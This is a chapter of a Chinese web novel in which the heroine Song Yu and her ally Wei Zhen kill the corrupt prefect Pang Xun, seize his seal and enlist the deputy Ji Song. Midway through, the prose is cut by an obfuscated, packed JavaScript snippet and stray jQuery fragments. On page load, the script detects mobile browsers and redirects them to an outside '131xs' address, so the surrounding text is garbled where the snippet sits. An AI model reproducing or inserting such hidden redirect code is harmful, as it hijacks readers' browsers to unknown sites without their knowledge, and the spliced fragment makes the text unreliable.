21.夺权
作品:《穿到乱世,被迫成为枭雌》 “什么,你是说,宋虞越狱将田胜和吴治杀了?”雕梁画栋的宅邸中,摆放着刚从冰窖取出的冰块,庞勋听完消息后却觉得府中闷热极了,额头上挂着汗珠,锦衣也被洇湿一大片。
跪在地上的更夫也是一脸慌张,他适才路过都尉府,便看见府门前的尸首,朝里望去,只见宋虞踏着地上的尸首面无表情地走出来。
他不过是一个夜晚打更的小吏,哪里见过这样的场景,当场脚一软,就吓得直接跪在了地上。
“女,女侠……饶命!”
他的嘴也不听使唤,连告饶的话都吐不利索。
宋虞并没有杀他的意思,只是瞥了眼他就走了。见宋虞走远,他忙不迭地跑来太守府报信,甚至连自己丢了一只草鞋也没发觉。
跪在太守面前的更夫只穿着一只草鞋,战战兢兢。
太守沉思片刻,便对府中下人吩咐道,“来人,命卫兵即刻捉拿逆贼宋虞!”
“是。”亲从得了令,很快便退了出去。
“这个宋虞,我倒是小瞧她了。”庞勋眯着眼,想到宋虞杀了吴治和田胜,又想到屯聚黎阳虎视眈眈的阮武,便一个头两个大。
“啪”地一声,一旁侍奉的婢女手滑打碎了茶盏,她忙跪在庞勋脚边求饶,
“大人饶命,奴婢该死,奴婢该死!”
庞勋本就烦躁,见到这不长眼的奴婢,更是怒上心头,他狠狠一脚踢在了婢女的腹部,“滚!”
婢女挨了一脚,腹部剧痛,她咬紧牙关忍着痛,捂着肚子卑微地匍匐在地向门边爬,倏然,一个身影横在了她的面前,纤细的脚踝,一看便知是女子。那人弯腰,扶着她的手臂,轻声问她,“没事吧?”
那婢女抬头,便见到一个明丽鲜妍的面孔,她不由愣神,一时忘了回答。
庞勋听见熟悉的声音,看清来人后,他蹭地一下站了起来,错愕地指着宋虞,“你,你竟还敢出现在我眼前?”
宋虞将人扶起来,庞勋这才注意到她身后还站着一名清癯瘦弱的女子。
宋虞散漫地说道,“我猜太守大人得知了消息,肯定在满城找我,所以我很自觉地先过来了。”
庞勋胸口起伏,似乎是被宋虞气地不轻,他大声喝道,“来人!将宋虞给我拿下!”
不多时,庞勋的府兵便都冲了出来,将宋虞围成一团。宋虞摇了摇头,“我好歹也曾为太守效力,如今此举,当真是令人寒心呐。”
然而,她的眼神却已经变地凌厉,不着痕迹地将魏蓁护在身后,宋虞惋惜地说,“那就别怪我不认旧情了。”
刀剑相接的清脆声响起,这是庞勋第一次见宋虞杀人的模样。身似惊鸿,剑如游龙,一茬茬的府兵在宋虞面前倒下,华丽的府邸被染成血色,杀到最后,竟无一人敢上前。
宋虞拿着剑一步步逼近庞勋,庞勋面色惨白,他颤抖着唇,盯着锋利的剑刃一步步往后退,当背碰到冰冷的墙壁时,他一哆嗦,腿一软便瘫坐在地,□□处渐渐显出一片洇湿。
宋虞闻到一阵腥臊味,下意识捏住了鼻子。
“女侠饶命啊!”
“我实在愚钝,误会了大人,此前都是我的错,您大人不记小人过,饶了我一命吧!”
庞勋前倨后恭的转变令宋虞猝不及防,他毫无尊严地跪在宋虞面前磕头,额头上一片血痕。
“您若是想坐这个太守之位,我愿意拱手相让,只求大人绕我一命!”
说罢,他哆嗦着从腰间解下印绶,恭敬地举过头顶,奉给宋虞。
宋虞不懂这些,她示意魏蓁前去查看,魏蓁上前接过印绶,细细端详。
银印青绶,龟纽方印。
魏蓁冲宋虞点头,“确是太守印绶无疑。”
宋虞好奇地问道,“你经营多年的太守之位,如此轻易地拱手让人,你不心疼?”
庞勋笑得谄媚,“这本就是我在贞佑十六年买的官,下官无德,自然应该让有德之人居之。”
“买官?”
宋虞挑眉,有些惊讶。
魏蓁解释道,“靖灵帝昏庸无能,贪财好色,皇宫耗费巨大,国库早就虚空,早在贞佑二年就将地方的官位明码标价,公然售卖于市。贞佑十六年,太守之位已经是五千石了。”
皇帝公然卖官鬻爵,可见朝廷已经腐败到何种程度了。宋虞听完突然觉得如今的乱世也情有可原了。毕竟这个朝廷实在是完蛋。
庞勋观察着宋虞的神色,他换了称呼,奴颜屈膝道,“太守大人,之前的事,都是田胜和吴治蓄意构陷,我也是被蒙在鼓里,才被他们利用。俗话说,不知者无罪,我上有老下有小,若我死了,我这一家老小在这乱世没了依靠……还望大人饶我一命。”
宋虞知道庞勋说这些话只是为了给自己留条活命,但宋虞也不是冷酷无情之人,她没有杀人的喜好,一时有些犹豫。
庞勋见宋虞心软,他继续说道,“若太守大人愿意饶我一命,我愿将珍奇藏品还有丝绸锦缎一并奉——”
话未说完,庞勋的身体便被剑刃洞穿,便是宋虞,也猝然睁大双眸,不可置信地看着眼前这一幕。魏蓁纤细的手臂夺过宋虞手中的剑,面无表情地将剑刺入庞勋的腹部,鲜血喷薄而出,溅在她苍白清瘦的脸上,格外触目惊心。
“你在做什么?!”
宋虞瞪大眼,质问魏蓁。
魏蓁瞥了一眼庞勋,才对宋虞说道,“斩草不除根,遗患无穷。庞勋这等狡诈反复之辈,阿虞切不可妇人之仁。”
宋虞复杂地望向魏蓁,又看了眼已经断了气的庞勋,没有再说话。
她知道,从此以后,她再也不能回头了。
明月如昨,流光徘徊。一夜之间,槐县就变了天,然而沉浸在睡梦中的百姓还对此事一无所知。
太守府内灯火通明,人来人往,忙碌地稍显拥挤。
魏蓁领着庞勋的管家和下人盘点太守府的财物,并给庞勋的家眷亲属分了些财物,将人尽数遣散。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639980|172217||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李四从前厅过来,立马就要跪下向宋虞行礼,却被宋虞喊停,“诶诶诶,在我面前不用跪,折寿。”
李四不明就里,他挠了挠脑袋,“这可是礼数……”
“在我面前,不用讲礼数。”宋虞作为一个现代人,还是不太能接受别人对自己三叩九拜。
“人找到了吗?”宋虞关切地问道。
李四垂首,“我已经将牢狱翻遍了,都没有找到构陷大人通敌的那个士兵。”
宋虞皱起了眉头。这人很可能是趁昨晚自己越狱时跑掉了。但田胜临死前说的那番话,宋虞却很难不在意。因为田胜没有理由在那个关口骗自己。如果污蔑她通敌之事不是田胜和吴治所为,那还有谁想要置她于死地?
就在此时,纪颂闻讯匆匆忙忙赶来,在看见院中庞勋的尸体时,他惊得说不出话来。
此时正是五更天,纪颂被魏蓁派去的人从睡梦中摇醒,匆匆赶来,眼下还带着淤青。宋虞走过去,亲切地问候他,“纪大人这么早就起了,吃早饭了吗?”
纪颂无语,发生了天大的事,谁还有心情吃饭啊!
宋虞看纪颂臭着一张脸,心中明了,“有什么事,都吃了饭再说。”
容貌姣好的婢女用漆盘端来了汤饼和肉羹,还有肝炙胃脯,葵笋梨枣,丰盛鲜美。宋虞吃了一口便停不下来了。
她嘴里含着肉羹,口齿不清地冲魏蓁说道,“魏蓁,来吃点东西!”
魏蓁闻言看过来,对着纪颂微微颔首,放下手中的账簿走了过来。
纪颂黑着脸,面对珍馐毫无胃口。见魏蓁过来,他没好气地说道,“两位大人既然都已经将太守和都尉都杀了,自领太守之位即可,不知召我这个小小郡丞来做什么?”
魏蓁听出了纪颂话语中的怨怼,她并没有生气,只是淡然笑道,“杀太守和都尉也不过是无奈自保之举,我和阿虞终是女子,对槐县民生大事也不如郡丞了解,自然还要多多仰仗郡丞大人。”
“我早就听闻,郡丞大人爱民如子,为官廉洁清正,只是跟在庞勋手下,明珠蒙尘。如今大人没了桎梏,也能大有所为。”
魏蓁几句话,便将纪颂安抚了下来。纪颂虽有治世抱负,但碍于庞勋,许多事都力不从心。如今庞勋死了,对纪颂而言也是好事一桩。
宋虞就是再勇武过人,杀了庞勋和田胜,平山一郡的官吏和将士也不会听命于她,甚至可能会望风而逃。要想安稳民心,必须挑选一个中正之人,既能稳定平山局势,又能效力宋虞。
纪颂便是最合适的人选。
纪颂面色稍霁,“你们实在是着急了,田胜和吴治固然嫉才妒能,死有余辜,但如今阮武的大军屯兵黎阳虎视眈眈,没了将领,剩下的人不过是一盘散沙,怎能与阮武的虎狼之师相抗衡呢?只怕你们废一番功夫,到头来只是为他人做嫁衣。”
“那庞勋,买来的官,德不配位,但好歹也治理平山多年有些势力,如今死了,只怕会更乱。”